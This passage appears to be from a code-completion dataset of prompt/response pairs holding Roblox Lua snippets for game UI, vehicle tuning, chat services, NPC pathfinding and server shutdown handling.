			Size = UDim2.new(0,-427,1,-155);
			Position = ItemsFrame.Position;
		};
		[RecycleButton] = {
			Size = UDim2.new(0,-427,1,-200);
			Position = ItemsFrame.Position;
		};
	};

	[ActionsFrame] = {
		[EquipButton] = {
			Size = ActionsFrame.Size;
			Position = ActionsFrame.Position;
		};
		[CraftButton] = {
			Size = UDim2.new(1,0,0,160);
			Position = UDim2.new(0,0,1,-160);
		};
		[RecycleButton] = {
			Size = UDim2.new(1,0,0,205);
			Position = UDim2.new(0,0,1,-205);
		};
	};

	[EquippedFrame] = {
		[EquipButton] = {
			Size = EquippedFrame.Size;
			Position = EquippedFrame.Position;
		};
		[CraftButton] = {
			Size = UDim2.new(0,130,1,-155);
			Position = UDim2.new(1,0,0,0);
		};
		[RecycleButton] = {
			Size = UDim2.new(0,130,1,-200);
			Position = EquippedFrame.Position;
		};
	};

	[RecipesFrame] = {
		[EquipButton] = {
			Size = RecipesFrame.Size;
			Position = RecipesFrame.Position;
		};
		[CraftButton] = {
			Size = UDim2.new(0,292,1,-155);
			Position = RecipesFrame.Position; --EquippedFrame.Position;
		};
		[RecycleButton] = {
			Size = UDim2.new(0,0,1,-200);
			Position = ItemsFrame.Position;
		};
	};

};

local Buttons = {EquipButton,CraftButton,RecycleButton};

local function ChangeAction(Button,CustomTime)
	CurrentAction = Button.Name;
	for _,B in pairs(Buttons) do B.Style = (B==Button and Enum.ButtonStyle.RobloxRoundDefaultButton) or Enum.ButtonStyle.RobloxRoundButton; end;
	if Button.Name ~= "Equip" then for _,F in pairs(ActionContainer:GetChildren()) do F.Visible = (F.Name==Button.Name); end; end;
	for Frame,Data in pairs(Sizes) do
		Frame:TweenSizeAndPosition(
			Data[Button].Size,
			Data[Button].Position,
			Direction,Style,((tonumber(CustomTime)~=nil and CustomTime) or Time)
		);
	end
end
for _,Button in pairs(Buttons) do
	Button.MouseButton1Click:connect(function()
		ChangeAction(Button);
	end)
end


Prompt: --Front Suspension

Response:
Tune.FSusDamping	= 500		-- Spring Dampening
Tune.FSusStiffness	= 9000		-- Spring Force
Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

Tune.FSusLength		= 2			-- Suspension length (in studs)
Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
Tune.FCompressLim	= .30		-- Max Compression Travel (in studs)
Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

Tune.FWsBoneLen		= 5			-- Wishbone Length
Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	--[[Lateral]]		-.4		,	-- positive = outward
	--[[Vertical]]		-.5		,	-- positive = upward
	--[[Forward]]		0		}	-- positive = forward


Prompt: -- constants

Response:
local PLAYER_DATA	= ReplicatedStorage.PlayerData
local REMOTES		= ReplicatedStorage.Remotes

local CURRENT_SEASON	= 1


Prompt: -- Local Variables

Response:
local Events = game.ReplicatedStorage.Events
local DisplayIntermission = Events.DisplayIntermission
local FetchConfiguration = Events.FetchConfiguration
local Camera = game.Workspace.CurrentCamera
local Player = game.Players.LocalPlayer
local ScreenGui = script.ScreenGui

local InIntermission = false
local IsTeams = nil


Prompt: -- Fired from server after initial data is sent:

Response:
rev_ReplicaRequestData.OnClientEvent:Connect(function()
	ReplicaController.InitialDataReceived = true
	print("[ReplicaController]: Initial data received")
	ReplicaController.InitialDataReceivedSignal:Fire()
end)


Prompt:
--[[*
 * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 ]]
--[[
	ROBLOX deviation: no equivalent in Lua. Always returning false
	original code:
	import {isCI} from 'ci-info';

	export default !!process.stdout.isTTY && process.env.TERM !== 'dumb' && !isCI;
]]

Response:
return {
	default = false,
}


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 1500		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 2000		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 9000		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 1900
	Tune.PeakSharpness	= 4.9
	Tune.CurveMult		= 0.12

	--Incline Compensation
	Tune.InclineComp	= 1.0			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 100		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 50		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 10			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt: --------LEFT DOOR --------

Response:
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(1013)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)


Prompt: -- Localplayer

Response:
local player = Players.LocalPlayer
local PlayerGui = player:FindFirstChild("PlayerGui")
local TopBar = PlayerGui:FindFirstChild("TopBar")
local CheckpointFrame = TopBar:FindFirstChild("CheckpointFrame")
local CheckpointCount = CheckpointFrame:FindFirstChild("CheckpointCount")


Response:
function onRunning(speed)
	if speed>0.5 then
		playAnimation("walk", 0.2, Humanoid)
		pose = "Walking"
	elseif speed<0.5 then
		playAnimation("idle", 0.2, Humanoid)
		pose = "Standing"
	end
end
function onDied()
	pose = "Dead"
end
function onGettingUp()
	pose = "GettingUp"
end
function onFallingDown()
	pose = "FallingDown"
end
function onPlatformStanding()
	pose = "PlatformStanding"
end
local lastTick = 0
function stepAnimate(currentTime)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = currentTime - lastTick
  	lastTick = currentTime
	if (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
		stopAllAnimations()
		amplitude = 0.1
		frequency = 1
	end
end


Prompt: -- local MatcherHintOptions = JestMatcherUtils.MatcherHintOptions

Response:
local RECEIVED_COLOR = JestMatcherUtils.RECEIVED_COLOR
local matcherErrorMessage = JestMatcherUtils.matcherErrorMessage
local matcherHint = JestMatcherUtils.matcherHint
local printWithType = JestMatcherUtils.printWithType
local stringify = JestMatcherUtils.stringify


Prompt: -- Libraries

Response:
local Libraries = Tool:WaitForChild 'Libraries'
local Support = require(Libraries:WaitForChild 'SupportLibrary')
local Signal = require(Libraries:WaitForChild 'Signal')
local Make = require(Libraries:WaitForChild 'Make')
local InstancePool = require(Libraries:WaitForChild 'InstancePool')

TargetingModule = {};
TargetingModule.TargetingMode = 'Scoped'
TargetingModule.TargetingModeChanged = Signal.new()
TargetingModule.Scope = Workspace
TargetingModule.IsScopeLocked = true
TargetingModule.TargetChanged = Signal.new()
TargetingModule.ScopeChanged = Signal.new()
TargetingModule.ScopeTargetChanged = Signal.new()
TargetingModule.ScopeLockChanged = Signal.new()

function TargetingModule:EnableTargeting()
	-- 	Begin targeting parts from the mouse

	-- Get core API
	local Core = GetCore();
	local Connections = Core.Connections;

	-- Create reference to mouse
	Mouse = Core.Mouse;

	-- Listen for target changes
	Connections.Targeting = Mouse.Move:Connect(function ()
		self:UpdateTarget(self.Scope)
	end)

	-- Listen for target clicks
	Connections.Selecting = Mouse.Button1Up:Connect(self.SelectTarget)

	-- Listen for sibling selection middle clicks
	Connections.SiblingSelecting = Support.AddUserInputListener('Began', 'MouseButton3', true, function ()
		self.SelectSiblings(Mouse.Target, not Selection.Multiselecting)
	end);

	-- Listen for 2D selection
	Connections.RectSelectionStarted = Mouse.Button1Down:Connect(self.StartRectangleSelecting);
	Connections.RectSelectionFinished = Support.AddUserInputListener('Ended', 'MouseButton1', true, self.FinishRectangleSelecting);

	-- Hide target box when tool is unequipped
	Connections.HideTargetBoxOnDisable = Core.Disabling:Connect(self.HighlightTarget);

	-- Cancel any ongoing selection when tool is unequipped
	Connections.CancelSelectionOnDisable = Core.Disabling:Connect(self.CancelRectangleSelecting);

	-- Enable scope selection
	self:EnableScopeSelection()

	-- Enable automatic scope resetting
	self:EnableScopeAutoReset()

	-- Enable targeting mode hotkeys
	self:BindTargetingModeHotkeys()

end;

function TargetingModule:SetScope(Scope)
	if self.Scope ~= Scope then
		self.Scope = Scope
		self.ScopeChanged:Fire(Scope)
	end
end

local function IsVisible(Item)
	return Item:IsA 'Model' or Item:IsA 'BasePart'
end

local function IsTargetable(Item)
	return Item:IsA 'Model' or
		Item:IsA 'BasePart' or
		Item:IsA 'Tool' or
		Item:IsA 'Accessory' or
		Item:IsA 'Accoutrement'
end


Prompt: --//Controller//--

Response:
for _, Button in pairs(Buttons:GetChildren()) do
	if Button.Name == "Button" then
		local Trigger = Button:WaitForChild("ProximityPrompt")

		Trigger.Triggered:Connect(function()
			if Button.Color == Color3.fromRGB(255, 0, 0) then
				Button.Color = Color3.fromRGB(0, 255, 0)

				table.insert(ActivatedButtons, Button)

				if #ActivatedButtons == Settings.Buttons then
					FloorConfiguration.TasksDone.Value = true

				end
			end
		end)
	end
end


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 1 -- cooldown for use of the tool again

ZoneModelName = "Ink Star" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: --Brew FX

Response:
function doTheBrew(humanoid, character)
	if db == true then
		db = false

		local goal = {}
		goal.Size = character.Head.Size * 2
		goal.Color = Color3.new(math.random(), math.random(), math.random())
		local tween = TweenService:Create(character.Head, tweenInfo, goal)
		tween:Play()

		brew.Sizzle:Play()
		humanoid:TakeDamage(5)
		wait(tweenInfo.Time)

		local goal = {}
		goal.Size = character.Head.Size / 2
		goal.Color = character["Body Colors"].HeadColor3
		local tween = TweenService:Create(character.Head, tweenInfo, goal)
		tween:Play()

		wait(tweenInfo.Time)
		db = true
	end
end


Prompt:
---------------------------
--[[
	--Main anchor point is the DriveSeat <car.Body.CarName.Value.VehicleSeat>

	Usage:
		MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld"  **Applies to Motor welds only
		ModelWeld(Model,MainPart)
	Example:
		MakeWeld(car.Body.CarName.Value.VehicleSeat,misc.PassengerSeat)
		MakeWeld(car.Body.CarName.Value.VehicleSeat,misc.SteeringWheel,"Motor",.2)
		ModelWeld(car.Body.CarName.Value.VehicleSeat,misc.Door)
]]


Prompt: --Code--

Response:
local function PlayerTouched(Part)
	local Parent = Part.Parent
	if game.Players:GetPlayerFromCharacter(Parent) then
		Parent.Humanoid.Health = 0
	end
end

Brick.Touched:connect(PlayerTouched)


Prompt: ---[[ Message Settings ]]

Response:
module.MaximumMessageLength = 200
module.DisallowedWhiteSpace = {"\n", "\r", "\t", "\v", "\f"}
module.ClickOnPlayerNameToWhisper = true
module.ClickOnChannelNameToSetMainChannel = true
module.BubbleChatMessageTypes = {ChatConstants.MessageTypeDefault, ChatConstants.MessageTypeWhisper}


Prompt: -- Set up the event handlers for the ImageButton icons in the Wallpaper Apps shelf

Response:
local icons2 = wallShelf:GetChildren()
for _, icon in ipairs(icons2) do
	if icon:IsA("ImageButton") then
		icon.MouseButton1Click:Connect(function()
			toggleWindow(icon)
		end)
	end
end


Prompt: -- Constants

Response:
local Gamemodes = script.Parent:WaitForChild("Gamemodes")
local Current_Gamemode = Gamemodes[script:GetAttribute("Gamemode")]
local Current_GameStateObject = Current_Gamemode.GameState


Prompt:
--////////////////////////////// Methods
--//////////////////////////////////////

Response:
local methods = {}
methods.__index = methods

function methods:CreateGuiObjects(targetParent)
	self.ChatBarParentFrame = targetParent

	local backgroundImagePixelOffset = 7
	local textBoxPixelOffset = 5

	local BaseFrame = Instance.new("Frame")

	BaseFrame.Selectable = false
	BaseFrame.BackgroundTransparency = 0.6
	BaseFrame.BorderSizePixel = 0
	BaseFrame.BackgroundColor3 = ChatSettings.ChatBarBackGroundColor
	BaseFrame.Size = UDim2.new(1, 0, 0, 46)
	BaseFrame.Parent = targetParent

	local BoxFrame = Instance.new("Frame")
	BoxFrame.Selectable = false
	BoxFrame.Name = "BoxFrame"
	BoxFrame.BackgroundTransparency = 0.6
	BoxFrame.BorderSizePixel = 0
	BoxFrame.BackgroundColor3 = ChatSettings.ChatBarBoxColor
	BoxFrame.Size = UDim2.new(1, -backgroundImagePixelOffset * 2, 1, -backgroundImagePixelOffset * 2)
	BoxFrame.Position = UDim2.new(0, backgroundImagePixelOffset, 0, backgroundImagePixelOffset)
	BoxFrame.Parent = BaseFrame

	local TextBoxHolderFrame = Instance.new("Frame")
	TextBoxHolderFrame.BackgroundTransparency = 1
	TextBoxHolderFrame.Size = UDim2.new(1, -textBoxPixelOffset * 2, 1, -textBoxPixelOffset * 2)
	TextBoxHolderFrame.Position = UDim2.new(0, textBoxPixelOffset, 0, textBoxPixelOffset)
	TextBoxHolderFrame.Parent = BoxFrame

	local TextBox = Instance.new("TextBox")
	TextBox.Selectable = ChatSettings.GamepadNavigationEnabled
	TextBox.Name = "ChatBar"
	TextBox.BackgroundTransparency = 1
	TextBox.Size = UDim2.new(1, 0, 1, 0)
	TextBox.Position = UDim2.new(0, 0, 0, 0)
	TextBox.TextSize = ChatSettings.ChatBarTextSize
	TextBox.Font = ChatSettings.ChatBarFont
	TextBox.TextColor3 = ChatSettings.ChatBarTextColor
	TextBox.TextTransparency = 0.4
	TextBox.TextStrokeTransparency = 1
	TextBox.ClearTextOnFocus = false
	TextBox.TextXAlignment = Enum.TextXAlignment.Left
	TextBox.TextYAlignment = Enum.TextYAlignment.Top
	TextBox.TextWrapped = true
	TextBox.Text = ""
	TextBox.Parent = TextBoxHolderFrame

	local MessageModeTextButton = Instance.new("TextButton")
	MessageModeTextButton.Selectable = false
	MessageModeTextButton.Name = "MessageMode"
	MessageModeTextButton.BackgroundTransparency = 1
	MessageModeTextButton.Position = UDim2.new(0, 0, 0, 0)
	MessageModeTextButton.TextSize = ChatSettings.ChatBarTextSize
	MessageModeTextButton.Font = ChatSettings.ChatBarFont
	MessageModeTextButton.TextXAlignment = Enum.TextXAlignment.Left
	MessageModeTextButton.TextWrapped = true
	MessageModeTextButton.Text = ""
	MessageModeTextButton.Size = UDim2.new(0, 0, 0, 0)
	MessageModeTextButton.TextYAlignment = Enum.TextYAlignment.Center
	MessageModeTextButton.TextColor3 = self:GetDefaultChannelNameColor()
	MessageModeTextButton.Visible = true
	MessageModeTextButton.Parent = TextBoxHolderFrame

	local TextLabel = Instance.new("TextLabel")
	TextLabel.Selectable = false
	TextLabel.TextWrapped = true
	TextLabel.BackgroundTransparency = 1
	TextLabel.Size = TextBox.Size
	TextLabel.Position = TextBox.Position
	TextLabel.TextSize = TextBox.TextSize
	TextLabel.Font = TextBox.Font
	TextLabel.TextColor3 = TextBox.TextColor3
	TextLabel.TextTransparency = TextBox.TextTransparency
	TextLabel.TextStrokeTransparency = TextBox.TextStrokeTransparency
	TextLabel.TextXAlignment = TextBox.TextXAlignment
	TextLabel.TextYAlignment = TextBox.TextYAlignment
	TextLabel.Text = "..."
	TextLabel.Parent = TextBoxHolderFrame

	self.GuiObject = BaseFrame
	self.TextBox = TextBox
	self.TextLabel  = TextLabel

	self.GuiObjects.BaseFrame = BaseFrame
	self.GuiObjects.TextBoxFrame = BoxFrame
	self.GuiObjects.TextBox = TextBox
	self.GuiObjects.TextLabel = TextLabel
	self.GuiObjects.MessageModeTextButton = MessageModeTextButton

	self:AnimGuiObjects()
	self:SetUpTextBoxEvents(TextBox, TextLabel, MessageModeTextButton)
	if self.UserHasChatOff then
		self:DoLockChatBar()
	end
	self.eGuiObjectsChanged:Fire()
end


Prompt: -- << BANLAND >>

Response: local Banned = {"SmokeyRBX","Example1","Example2"}


Prompt:
--game.Players:GetPlayerFromCharacter(hit.Parent)
--or game.Players:FindFirstChild(hit.Parent.Name)


Prompt:
--[[while true do wait()
	script.Value = math.random(1,2)
end

while true do wait()
	if script.Value == 1 then
		script.Sound.ChorusSoundEffect.Enabled = true
		script.Sound.DistortionSoundEffect.Enabled = false
		script.sound.EchoSoundEffect.Enabled = true
		script.Sound.PitchShiftSoundEffect.Enabled = false
		script.Sound.Reverb.Enabled = true
	else if script.Value == 2 then
		script.Sound.ChorusSoundEffect.Enabled = false
		script.Sound.DistortionSoundEffect.Enabled = true
		script.sound.EchoSoundEffect.Enabled = false
		script.Sound.PitchShiftSoundEffect.Enabled = true
		script.Sound.Reverb.Enabled = false
		end
	end
end]]


Prompt: --// Move cam

Response:
local maxTilt = 10
game:GetService("RunService").RenderStepped:Connect(function()
	cam.CFrame = camPart.CFrame * CFrame.Angles(
		math.rad((((mouse.Y - mouse.ViewSizeY / 300) / mouse.ViewSizeY)) * -maxTilt),
		math.rad((((mouse.X - mouse.ViewSizeX / 300) / mouse.ViewSizeX)) * -maxTilt),
		0
	)
end)


Prompt: -- Function to handle player character added

Response:
local function onCharacterAdded(character)
	local humanoid = character:WaitForChild("Humanoid")
	local previousPosition = humanoid.RootPart.Position
	local isFalling = false

	-- Listen for character state changes
	humanoid.StateChanged:Connect(function(oldState, newState)
		if newState == Enum.HumanoidStateType.Freefall then
			isFalling = true
			previousPosition = humanoid.RootPart.Position
		elseif oldState == Enum.HumanoidStateType.Freefall and newState ~= Enum.HumanoidStateType.Freefall then
			if isFalling then
				isFalling = false
				handlePlayerFalling(game.Players:GetPlayerFromCharacter(character), humanoid.RootPart.Position, previousPosition)
			end
		end
	end)
end


Prompt:
--[=[
	Returns a Service object which is a reflection of the remote objects
	within the Client table of the given service. Throws an error if the
	service is not found.

	If a service's Client table contains RemoteSignals and/or RemoteProperties,
	these values are reflected as
	[ClientRemoteSignals](https://sleitnick.github.io/RbxUtil/api/ClientRemoteSignal) and
	[ClientRemoteProperties](https://sleitnick.github.io/RbxUtil/api/ClientRemoteProperty).

	```lua
	-- Server-side service creation:
	local MyService = Knit.CreateService {
		Name = "MyService";
		Client = {
			MySignal = Knit.CreateSignal();
			MyProperty = Knit.CreateProperty("Hello");
		};
	}
	function MyService:AddOne(player, number)
		return number + 1
	end

	-------------------------------------------------

	-- Client-side service reflection:
	local MyService = Knit.GetService("MyService")

	-- Call a method:
	local num = MyService:AddOne(5) --> 6

	-- Fire a signal to the server:
	MyService.MySignal:Fire("Hello")

	-- Listen for signals from the server:
	MyService.MySignal:Connect(function(message)
		print(message)
	end)

	-- Observe the initial value and changes to properties:
	MyService.MyProperty:Observe(function(value)
		print(value)
	end)
	```

	:::caution
	Services are only exposed to the client if the service has remote-based
	content in the Client table. If not, the service will not be visible
	to the client. `KnitClient.GetService` will only work on services that
	expose remote-based content on their Client tables.
	:::
]=]

Response:
function KnitClient.GetService(serviceName: string): Service
	local service = services[serviceName]
	if service then
		return service
	end
	assert(started, "Cannot call GetService until Knit has been started")
	assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName))
	return BuildService(serviceName)
end


Response:
h = script.Parent.Parent:WaitForChild("Humanoid")
pathService = game:GetService("PathfindingService")
targetV = script.Parent:WaitForChild("Target")

function closestTargetAndPath()
	local humanoids = {}
	if targetNPCs then
		local function recurse(o)
			for _,obj in pairs(o:GetChildren()) do
				if obj:IsA("Model") then
					if obj:findFirstChild("Humanoid") and obj:findFirstChild("Torso") and obj.Humanoid ~= h and obj.Humanoid.Health > 0 and not obj:findFirstChild("ForceField") then
						table.insert(humanoids,obj.Humanoid)
					end
				end
				recurse(obj)
			end
		end
		recurse(workspace)
	else
		for _,v in pairs(game.Players:GetPlayers()) do
			if v.Character and v.Character:findFirstChild("HumanoidRootPart") and v.Character:findFirstChild("Humanoid") and v.Character.Humanoid.Health > 0 and not v:findFirstChild("ForceField") then
				table.insert(humanoids,v.Character.Humanoid)
			end
		end
	end
	local closest,path,dist
	for _,humanoid in pairs(humanoids) do
		local myPath = pathService:ComputeRawPathAsync(h.Torso.Position,humanoid.Torso.Position,500)
		if myPath.Status ~= Enum.PathStatus.FailFinishNotEmpty then
			-- Now that we have a successful path, we need to figure out how far we need to actually travel to reach this point.
			local myDist = 0
			local previous = h.Torso.Position
			for _,point in pairs(myPath:GetPointCoordinates()) do
				myDist = myDist + (point-previous).magnitude
				previous = point
			end
			if not dist or myDist < dist then -- if true, this is the closest path so far.
				closest = humanoid
				path = myPath
				dist = myDist
			end
		end
	end
	return closest,path
end

function goToPos(loc)
	h:MoveTo(loc)
	local distance = (loc-h.Torso.Position).magnitude
	local start = tick()
	while distance > 100 do
		if tick()-start > distance/h.WalkSpeed then -- Something may have gone wrong. Just break.
			break
		end
		distance = (loc-h.Torso.Position).magnitude
		wait()
	end
end

while wait() do
	local target,path = closestTargetAndPath()
	local didBreak = false
	local targetStart
	if target and h.Torso then
		targetV.Value = target
		targetStart = target.Torso.Position
		roaming = false
		local previous = h.Torso.Position
		local points = path:GetPointCoordinates()
		local s = #points > 1 and 2 or 1
		for i = s,#points do
			local point = points[i]
			if didBreak then
				break
			end
			if target and target.Torso and target.Health > 0 then
				if (target.Torso.Position-targetStart).magnitude < 1.5 then
					local pos = previous:lerp(point,.5)
					local moveDir = ((pos - h.Torso.Position).unit * 2)
					goToPos(previous:lerp(point,.5))
					previous = point
				end
			else
				didBreak = true
				break
			end
		end
	else
		targetV.Value = nil
	end
	if not didBreak and targetStart then
		goToPos(targetStart)
	end
end


Prompt: -- Helper function for Determinant of 3x3, not in CameraUtils for performance reasons

Response:
local function Det3x3(a,b,c,d,e,f,g,h,i)
	return (a*(e*i-f*h)-b*(d*i-f*g)+c*(d*h-e*g))
end


Prompt:
--[[
	SoftShutdown 1.2
	Author: Merely

	This systesm lets you shut down servers without losing a bunch of players.
	When game.OnClose is called, the script teleports everyone in the server
	into a reserved server.

	When the reserved servers start up, they wait a few seconds, and then
	send everyone back into the main place.

	I added wait() in a couple of places because if you don't, everyone will spawn into
	their own servers with only 1 player.
--]]

Response:
local TeleportService = game:GetService("TeleportService")
local Players = game:GetService("Players")

if (game.VIPServerId ~= "" and game.VIPServerOwnerId == 0) then
	-- this is a reserved server without a VIP server owner
	local m = Instance.new("Message")
	m.Text = "This is a temporary lobby. Teleporting back in a moment."
	m.Parent = workspace

	local waitTime = 5

	Players.PlayerAdded:connect(function(player)
		wait(waitTime)
		waitTime = waitTime / 2
		TeleportService:Teleport(game.PlaceId, player)
	end)

	for _,player in pairs(Players:GetPlayers()) do
		TeleportService:Teleport(game.PlaceId, player)
		wait(waitTime)
		waitTime = waitTime / 2
	end
else
	game:BindToClose(function()
		if (#Players:GetPlayers() == 0) then
			return
		end

		if (game.JobId == "") then
			-- Offline
			return
		end

		local m = Instance.new("Message")
		m.Text = "Rebooting servers for update. Please wait"
		m.Parent = workspace
		wait(2)
		local reservedServerCode = TeleportService:ReserveServer(game.PlaceId)

		for _,player in pairs(Players:GetPlayers()) do
			TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player })
		end
		Players.PlayerAdded:connect(function(player)
			TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player })
		end)
		while (#Players:GetPlayers() > 0) do
			wait(1)
		end

		-- done
	end)
end


Prompt:
-------- CONFIG
-- ENABLERS (do not touch yet)

Response:
local Popups_Enabled = true  -- Enables popups. (refer to "Instructions" for installation)

local Sequential_Indicators = false -- Enables sequential indicators. (refer to "Instructions" for installation)

local Sequential_Segments = 3 -- How many segments your indicators use. (don't use if Sequential_Indicators is false)

local Trunk_Lights = false -- Enables rear, brake, and reverse lights on trunk. (they will still work inside of the main model)

local Plate_Lights = false -- Enables license plate lights.

local Interior_Lights = false -- Enables interior lights. (Not Working Yet)

local Door_Functionality = false -- (USE ONLY IF YOU HAVE OPENING DOORS, including trunk, any kind of door in misc **trunk no working yet)

local Mirror_Indicators = false --Enables indicators on mirrors. (Not Working yet)

local Dashboard_Indicators = false -- Enables dashboard indicators. (refer to "Instrucitons" for setup) (Not Working Yet)


Prompt: --Set up equipped and unequipped event.

Response:
Tool.Equipped:Connect(function(NewMouse)
	if not Equipped then
		Equipped = true
		CurrentMouse = NewMouse
		UpdateIcon()

		--Create the local equip sound.
		LocalEquipSound = EquipSound:Clone()
		LocalEquipSound.Parent = Handle
		LocalEquipSound:Play()
		EquipSound.Volume = 0
		EquipSound:Stop()

		--Create the local reload sound.
		LocalReloadSound = ReloadSound:Clone()
		LocalReloadSound.Parent = Handle
		ReloadSound.Volume = 0
		ReloadSound:Stop()
	end
end)

Tool.Unequipped:Connect(function()
	if Equipped then
		Equipped = false
		CurrentHandRocket = nil
		if CurrentAnimation then CurrentAnimation:Stop() end

		--Remove the local sounds.
		if LocalEquipSound then
			LocalEquipSound:Stop()
			LocalEquipSound:Destroy()
			EquipSound.Volume = EquipVolume
		end

		if LocalReloadSound then
			LocalReloadSound:Stop()
			LocalReloadSound:Destroy()
			ReloadSound.Volume = ReloadVolume
		end
	end
end)

Tool:GetPropertyChangedSignal("Enabled"):Connect(UpdateIcon)


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
local autoscaling	= false					--Estimates top speed

local UNITS	= {								--Click on speed to change units
											--First unit is default
	{
		units			= "KM/H"			,
		scaling			= (10/12) * 1.09728	, -- 1 stud : 10 inches | ft/s to KP/H
		maxSpeed		= 240				,
		spInc			= 20				, -- Increment between labelled notches
	},

}


Prompt:
--////////////////////////////// Methods
--//////////////////////////////////////

Response:
local methods = {}
methods.__index = methods

function methods:AddChannel(channelName, autoJoin)
	if (self.ChatChannels[channelName:lower()]) then
		error(string.format("Channel %q alrady exists.", channelName))
	end

	local function DefaultChannelCommands(fromSpeaker, message)
		if (message:lower() == "/leave") then
			local channel = self:GetChannel(channelName)
			local speaker = self:GetSpeaker(fromSpeaker)
			if (channel and speaker) then
				if (channel.Leavable) then
					speaker:LeaveChannel(channelName)
					local msg = ChatLocalization:FormatMessageToSend(
						"GameChat_ChatService_YouHaveLeftChannel",
						string.format("You have left channel '%s'", channelName),
						"RBX_NAME",
						channelName)
					speaker:SendSystemMessage(msg, "System")
				else
					speaker:SendSystemMessage(ChatLocalization:FormatMessageToSend("GameChat_ChatService_CannotLeaveChannel","You cannot leave this channel."), channelName)
				end
			end

			return true
		end
		return false
	end

	local channel = ChatChannel.new(self, channelName)
	self.ChatChannels[channelName:lower()] = channel

	channel:RegisterProcessCommandsFunction("default_commands", DefaultChannelCommands, ChatConstants.HighPriority)

	local success, err = pcall(function() self.eChannelAdded:Fire(channelName) end)
	if not success and err then
		print("Error addding channel: " ..err)
	end

	if autoJoin ~= nil then
		channel.AutoJoin = autoJoin
		if autoJoin then
			for _, speaker in pairs(self.Speakers) do
				speaker:JoinChannel(channelName)
			end
		end
	end

	return channel
end

function methods:RemoveChannel(channelName)
	if (self.ChatChannels[channelName:lower()]) then
		local n = self.ChatChannels[channelName:lower()].Name

		self.ChatChannels[channelName:lower()]:InternalDestroy()
		self.ChatChannels[channelName:lower()] = nil

		local success, err = pcall(function() self.eChannelRemoved:Fire(n) end)
		if not success and err then
			print("Error removing channel: " ..err)
		end
	else
		warn(string.format("Channel %q does not exist.", channelName))
	end
end

function methods:GetChannel(channelName)
	return self.ChatChannels[channelName:lower()]
end

function methods:AddSpeaker(speakerName)
	if (self.Speakers[speakerName:lower()]) then
		error("Speaker \"" .. speakerName .. "\" already exists!")
	end

	local speaker = Speaker.new(self, speakerName)
	self.Speakers[speakerName:lower()] = speaker

	local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
	if not success and err then
		print("Error adding speaker: " ..err)
	end

	return speaker
end

function methods:InternalUnmuteSpeaker(speakerName)
	for channelName, channel in pairs(self.ChatChannels) do
		if channel:IsSpeakerMuted(speakerName) then
			channel:UnmuteSpeaker(speakerName)
		end
	end
end

function methods:RemoveSpeaker(speakerName)
	if (self.Speakers[speakerName:lower()]) then
		local n = self.Speakers[speakerName:lower()].Name

		self:InternalUnmuteSpeaker(n)

		self.Speakers[speakerName:lower()]:InternalDestroy()
		self.Speakers[speakerName:lower()] = nil

		local success, err = pcall(function() self.eSpeakerRemoved:Fire(n) end)
		if not success and err then
			print("Error removing speaker: " ..err)
		end

	else
		warn("Speaker \"" .. speakerName .. "\" does not exist!")
	end
end

function methods:GetSpeaker(speakerName)
	return self.Speakers[speakerName:lower()]
end

function methods:GetSpeakerByUserOrDisplayName(speakerName)
	local speakerByUserName = self.Speakers[speakerName:lower()]

	if speakerByUserName then
		return speakerByUserName
	end

	for _, potentialSpeaker in pairs(self.Speakers) do
		local player = potentialSpeaker:GetPlayer()

		if player and player.DisplayName:lower() == speakerName:lower() then
			return potentialSpeaker
		end
	end
end

function methods:GetChannelList()
	local list = {}
	for i, channel in pairs(self.ChatChannels) do
		if (not channel.Private) then
			table.insert(list, channel.Name)
		end
	end
	return list
end

function methods:GetAutoJoinChannelList()
	local list = {}
	for i, channel in pairs(self.ChatChannels) do
		if channel.AutoJoin then
			table.insert(list, channel)
		end
	end
	return list
end

function methods:GetSpeakerList()
	local list = {}
	for i, speaker in pairs(self.Speakers) do
		table.insert(list, speaker.Name)
	end
	return list
end

function methods:SendGlobalSystemMessage(message)
	for i, speaker in pairs(self.Speakers) do
		speaker:SendSystemMessage(message, nil)
	end
end

function methods:RegisterFilterMessageFunction(funcId, func, priority)
	if self.FilterMessageFunctions:HasFunction(funcId) then
		error(string.format("FilterMessageFunction '%s' already exists", funcId))
	end
	self.FilterMessageFunctions:AddFunction(funcId, func, priority)
end

function methods:FilterMessageFunctionExists(funcId)
